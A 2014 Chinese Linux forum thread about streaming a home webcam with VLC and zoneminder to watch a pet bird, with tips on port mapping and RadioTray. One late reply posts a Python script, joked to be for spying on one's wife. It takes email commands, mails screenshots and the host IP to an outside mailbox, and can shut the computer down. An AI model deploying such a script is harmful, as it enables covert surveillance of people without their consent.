分页: 1 / 1

远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-14 12:30
highwind
:em06 这个版块好冷清,写点东西热闹热闹。

最近养了只小鸟,叫豆豆。现在过着吃饭睡觉逗豆豆的快乐生活。不过女朋友又说要养只小猫,估计会叫煤球,这让我对豆豆未来的日子好担忧啊。
怎么办,就想在家里架个监控头,看看吧,虽然真出事了也没办法,毕竟还可以聊以自慰吧。

远程视频监控有卖dropcam系统的,不想花这个钱,就只想用用电脑的摄像头。
查网上https://linuxtoy.org/archives/linux-camera-monitor.html有三套方案:
motion:问题不大;
webcam-server:还没试过;
zoneminder:和我的Mint16(Ubuntu13.10)配置出现甚多问题,但最后还是成功启动了,天啊,装了一大堆的apache和php组件。
最后还发现vlc的stream也很好用:

代码: 全选

#!/bin/sh 
#broadcast via VLC at ip:9090/bird-surveillance.ogg
 cvlc v4l2:///dev/video0 :v4l2-standard= :input-slave=alsa://hw:0,0 :live-caching=300 :sout="#transcode{vcodec=WMV2,vb=800,scale=1,acodec=wma2,ab=128,channels=2,samplerate=44100}:http{dst=:9090/bird-surveillance.ogg}" 
但是所谓的成功最后反应过来只不过是在内网内成功,回单位一看,才反应过来原来还要把家里的路由器外网映射ip。麻烦啊,airport express在linux下的配置程序,不仅和新JAVA配合不好而且貌似启动了也找不到设备,只好换女朋友的机器映射好,明天再去看看效果。

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-14 13:32
灰色小狼
在养条狗就好了 :em05

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-14 14:16
luojie-dune
Nokia N900 streaming

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-15 0:19
highwind
luojie-dune 写了:Nokia N900 streaming
也要千把块钱哪。

BTW,试验成功 ,可以看了 :em11
当然播放的时候调整cache和stream filter还是很有必要的,不然会播放一会儿就自动断开了。

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-15 0:40
luojie-dune
千元?不过200吧。

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-17 22:39
rapistor
搞个路由刷个op就行了,还天天开电脑,晕。 :em20

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-18 1:54
highwind
rapistor 写了:搞个路由刷个op就行了,还天天开电脑,晕。 :em20
op是什么? :em20 openwrt 吗?
可不为了省事嘛,而且还要去买路由。。。

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-18 11:33
iamfbi
田亮女儿的笑话,吃饭睡觉打豆豆?

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-18 11:33
iamfbi
田亮女儿的笑话,吃饭睡觉打豆豆?

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-18 11:47
highwind
iamfbi 写了:田亮女儿的笑话,吃饭睡觉打豆豆?
:em06 换是那只猫,大概正好是。

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-19 6:48
highwind
Mint上那个RadioTray的applet,满好用的,尤其是在人不在家的时候,豆豆最喜欢听了。

附送bookmark

代码: 全选

 <group name="Animal">
	<bookmark name="BirdSong" url="http://monkey.wavestreamer.com:1156/Live.mp4"/>
	<bookmark name="Summer Breeze" url="http://moon.wavestreamer.com:5066/stream/1/"/>
	<bookmark name="Snowy Day" url="http://majestic.wavestreamer.com:1385/stream/1/"/>
	<bookmark name="Rainforest Downpour" url="http://stereo.wavestreamer.com:7380/stream/1/"/>
	<bookmark name="Summer Rain" url="http://moon.wavestreamer.com:4583/stream/1/"/>
</group>

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-01-21 10:35
highwind
说来这个RaidoTray在Panel上的图标藏得够深啊

代码: 全选

locate radiotray | grep .png

代码: 全选

/usr/share/icons/Mint-X/apps/16/radiotray.png
/usr/share/icons/Mint-X/apps/22/radiotray.png
/usr/share/icons/Mint-X/apps/24/radiotray.png
/usr/share/icons/Mint-X/apps/32/radiotray.png
/usr/share/icons/Mint-X/apps/48/radiotray.png
/usr/share/icons/Mint-X/status/22/radiotray_connecting.png
/usr/share/icons/Mint-X/status/22/radiotray_off.png
/usr/share/icons/Mint-X/status/22/radiotray_on.png
/usr/share/icons/Mint-X/status/24/radiotray_connecting.png
/usr/share/icons/Mint-X/status/24/radiotray_off.png
/usr/share/icons/Mint-X/status/24/radiotray_on.png
/usr/share/pixmaps/radiotray.png
/usr/share/radiotray/images/radiotray.png
/usr/share/radiotray/images/radiotray_connecting.png
/usr/share/radiotray/images/radiotray_off.png
/usr/share/radiotray/images/radiotray_on.png
要改的居然是这两个条目:

代码: 全选

/usr/share/icons/Mint-X/status/24/radiotray_off.png
/usr/share/icons/Mint-X/status/24/radiotray_on.png
哎,为啥不能把这种设置放在/Home下嘛!~ :em06

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-05-07 11:04
highwind
在线视频大法:

https://talky.io
https://www.gruveo.com
http://apprtc.appspot.com/

直接这样也行。 :em05

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-05-07 11:13
月下叹逍遥
[python]import os
import urllib
import socket
import smtplib
import time
import mimetypes
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import PIL
from PIL import Image,ImageGrab
import poplib,email
from email.header import decode_header
import sys
def accpmail():
try:
p=poplib.POP3('pop.126.com')
p.user("youemail@126.com")
p.pass_('yourpassword')
ret = p.stat()
except poplib.error_proto,e:
print "Login failed:",e
return "fail"
print "Login succeeded"
mailnum=ret[0]
down=p.retr(mailnum)
for i in down[1]:
if i.find("Subject:")==0:
cmdstr=i
print cmdstr
break
p.quit()
return cmdstr


def getip():
localip = socket.gethostbyname(socket.gethostname())
msg = MIMEMultipart()
msg['From']="from.com"
msg['To']="to@126.com"
msg['Subject']= "email for testing"

txt = MIMEText("this is content of email ,host IP:"+localip)
msg.attach(txt)
im = ImageGrab.grab()
im.save("d:\sketch.png")
fileName = "d:\sketch.png"
ctype,encoding = mimetypes.guess_type(fileName)
if ctype is None or encoding is not None:
ctype = "application/octet-stream"
maintype,subtype = ctype.split('/',1)
att1 = MIMEImage((lambda f: (f.read(), f.close()))(open(fileName, 'rb'))[0], _subtype = subtype)
att1.add_header('Content-Disposition','attachment',filename=fileName)
msg.attach(att1)

smtp = smtplib.SMTP()
smtp.connect("smtp.qq.com","25")
smtp.login("youremail@qq.com","yourpassword")
smtp.sendmail("youremail@qq.com","youremail@126.com",msg.as_string())
smtp.quit()

def test2():
try:
sc=urllib.urlopen("http://www.baidu.com")
except IOError:
return False
return True

def dothat():
while True:
cmdstr=accpmail()
if test2()==True:
if cmdstr!="fail":
if cmdstr.find("start")!=-1:
getip()
time.sleep(10)
getip()
time.sleep(10)
getip()
time.sleep(10)
elif cmdstr.find("shutdown")!=-1:
os.system("shutdown -s")
elif cmdstr.find("stop")!=-1:
continue
elif cmdstr.find("quit")!=-1:
break
else:
time.sleep(10)
continue
else:
time.sleep(60)

dothat()

[/python]
监控媳妇脚本 :em05 :em05 :em05

Re: 远程监控家里的小鸟(这里好冷清)

发表于 : 2014-05-07 11:38
eexpress
我记得手机上就有一个软件,我应该发过,只是现在删除了。远程机器安装一个服务端,手机一个客户端。